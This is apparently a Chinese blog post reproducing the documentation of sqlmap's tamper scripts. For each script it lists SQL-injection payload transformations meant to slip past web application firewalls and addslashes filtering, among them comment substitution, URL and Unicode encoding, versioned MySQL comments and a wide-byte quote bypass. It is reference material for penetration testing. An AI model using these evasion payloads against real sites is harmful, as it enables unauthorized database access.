sqlmap的篡改绕过WAF
2024-04-07 12:14:41
space2comment.py
Replaces space character (‘ ‘) with comments ‘/**/’
Example:
* Input: SELECT id FROM users
* Output: SELECT/**/id/**/FROM/**/users
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
——————————————————————————-
charencode.py
url编码
Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass very weak web application firewalls that do not
url-decode the request before processing it through their ruleset
* The web server will anyway pass the url-decoded version behind,
hence it should work against any DBMS
—————————————————————————————
charunicodeencode.py
字符串 unicode 编码
Example:
* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
Requirement:
* ASP
* ASP.NET
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3
Notes:
* Useful to bypass weak web application firewalls that do not
unicode url-decode the request before processing it through their
ruleset
——————————————————
space2hash.py
空格替换为#号 随机字符串 以及换行符
Replaces space character (‘ ‘) with a pound character (‘#’) followed by
a random string and a new line (‘\n’)
Example:
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
* MySQL
Tested against:
* MySQL 4.0, 5.0
———————————————–
space2morehash.py
空格替换为 #号 以及更多随机字符串 换行符
Replaces space character (‘ ‘) with a pound character (‘#’) followed by
a random string and a new line (‘\n’)
Example:
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
* MySQL >= 5.1.13
Tested against:
* MySQL 5.1.41
——————————————
space2mssqlblank.py(mssql)
空格替换为其它空符号
Example:
* Input: SELECT id FROM users
* Output: SELECT%08id%02FROM%0Fusers
Requirement:
* Microsoft SQL Server
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
# ASCII table:
# SOH 01 start of heading
# STX 02 start of text
# ETX 03 end of text
# EOT 04 end of transmission
# ENQ 05 enquiry
# ACK 06 acknowledge
# BEL 07 bell
# BS 08 backspace
# TAB 09 horizontal tab
# LF 0A new line
# VT 0B vertical TAB
# FF 0C new page
# CR 0D carriage return
# SO 0E shift out
# SI 0F shift in
————————————————-
space2mysqlblank.py
空格替换其它空白符号(mysql)
Replaces space character (‘ ‘) with a random blank character from a
valid set of alternate characters
Example:
* Input: SELECT id FROM users
* Output: SELECT%0Bid%0BFROM%A0users
Requirement:
* MySQL
Tested against:
* MySQL 5.1
# TAB 09 horizontal TAB
# LF 0A new line
# FF 0C new page
# CR 0D carriage return
# VT 0B vertical TAB (MySQL and Microsoft SQL Server only)
# – A0 - (MySQL only)
———————————————————————————-
chardoubleencode.py 双url编码(不处理以编码的)
Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
———————————————————————————
percentage.py
asp允许每个字符前面添加一个%号
Adds a percentage sign (‘%’) infront of each character
Example:
* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
Requirement:
* ASP
Tested against:
* Microsoft SQL Server 2000, 2005
* MySQL 5.1.56, 5.5.11
* PostgreSQL 9.0
————————————————————
randomcase.py 随机大小写
Replaces each keyword character with random case value
Example:
* Input: INSERT
* Output: InsERt
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
—————————————————
randomcomments.py
用/**/分割sql关键字
Add random comments to SQL keywords
Example: ‘INSERT’ becomes ‘IN/**/S/**/ERT’
————————————————————-
versionedmorekeywords.py 注释绕过
Encloses each keyword with versioned MySQL comment
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Requirement:
* MySQL >= 5.1.13
————————————————————————
versionedkeywords.py
Encloses each non-function keyword with versioned MySQL comment
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
Requirement:
* MySQL
———————————————————————-
unmagicquotes.py 宽字符绕过 GPC addslashes
Replaces quote character (‘) with a multi-byte combo %bf%27 together with
generic comment at the end (to make it work)
Example:
* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20
Notes:
* Useful for bypassing magic_quotes/addslashes feature
——————————————————————————–
equaltolike.py
like 代替等号
Example:
* Input: SELECT * FROM users WHERE id=1
* Output: SELECT * FROM users WHERE id LIKE 1
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
—————————————————————————-
关键字前加注释
halfversionedmorekeywords.py
Example:
* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=’QDWa
Requirement:
* MySQL < 5.1
Tested against:
* MySQL 4.0.18, 5.0.22
原文地址：http://www.myhack58.com/Article/html/3/7/2013/39321.htm
sqlmap的篡改绕过WAF相关推荐
- 渗透测试-sqlmap绕过WAF脚本编写
sqlmap绕过WAF脚本编写 文章目录 sqlmap绕过WAF脚本编写 前言 一.什么是sqlmap和tamper脚本 二.利用sqlmap脚本进行扫描获取数据库信息 1.编写sqlmap绕过WAF ...
- 【Web安全】实战sqlmap绕过WAF
前言 随着最近几年安全行业的兴起,市场关注度的不断提升,安全防护的软件也在不断提升,不在是那个随便找一个站就能马上发现漏洞了,没有以前那么多所谓的"靶场"了,在这次的实战中遇到的S ...
- 实战sqlmap绕过WAF
本文转载于https://xz.aliyun.com/t/10385 实战演示 通过前期的信息收集发现存在注入的页面如下: 直接使用sqlmap跑发现出现如下错误: python2 sqlmap.py ...
- sqlmap绕过d盾_WEBSHELL免杀绕过WAF思路amp;方法（一）
本文主要介绍WEBSHELL免杀绕过的思路与方法,网上很多的方法基本都被安全厂家加入了检测规则已经不能免杀,所以我们要了解我们主要对手WAF的检测技术,故基于前人优秀基础上我们需要有能力衍生出免杀马, ...
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- 深入理解SQL注入绕过WAF与过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- [转]杂谈如何绕过WAF（Web应用防火墙）
技术分享:杂谈如何绕过WAF(Web应用防火墙) 0×01开场白 这个议题呢,主要是教大家一个思路,而不是把现成准备好的代码放给大家. 可能在大家眼中WAF(Web应用防火墙)就是"不要脸& ...
- 过云锁php木马,绕过waf的另类木马文件攻击方法
很久没写文章了,继上次发先文章到今天已经很久了:很久没写文章了,继上次发先文章到今天已经很久了:今天突发异想:因为之前打了西湖论剑,遇到了宝塔的waf,最后也是过去了,便觉得另类的攻击方法值得写篇文章 ...
- 绕过WAF的XSS语句
吐血整理转载请说明. 原文收集于OWASP XSS_Filter_Evasion_Cheat_Sheet 正文: XSS JavaScript injection: <SCRIPT SRC=ht ...
最新文章
- 数据蒋堂 | 数据库的封闭性
- Redis简单案例(二) 网站最近的访问用户
- 2022.3.26八仙花
- 【模板】扩展中国剩余定理（EXCRT）
- 在linux中安装软件会出的问题,linux中安装程序出现的问题
- 青岛理工邀请赛（难受的一次经历）之显示屏（按着倍数放大数字）
- spring boot与spring cloud版本匹配关系
- Linux中创建用户并且配置sudo权限，百分百简单有效
- sharepoint 2013基于AD的Form表单登录（三）——选择用户时，屏蔽掉AD。
- 解决“添加删除程序”里面隐藏问题
- 周五14点直播丨数据库大咖讲坛(第6期)：数据库性能优化技巧与最佳实践
- 推荐一款eclipse快速打开项目文件夹所在路径插件
- php在线中文转英文,thinkphp页面的多语言切换，中文、英文之间的转换
- 解压RAR时出现“不可预料的压缩文件末端”的解决方法
- 潘通色卡tcx电子版_潘通色卡电子版Pantone TPX（三）
- tomcat URL简写案例：模拟网站www.baidu.com的访问
- 「镁客·请讲」海聊颜志威：推进卫星通讯手机民用化，不让一个人丢在探险的路上...
- OLA/SOLA/WSOLA语音重叠相加算法分析
- 组播路由协议基础——PIM-SM BSR工作机制
- 揭秘网易云音乐的个性化推荐算法【黑科技】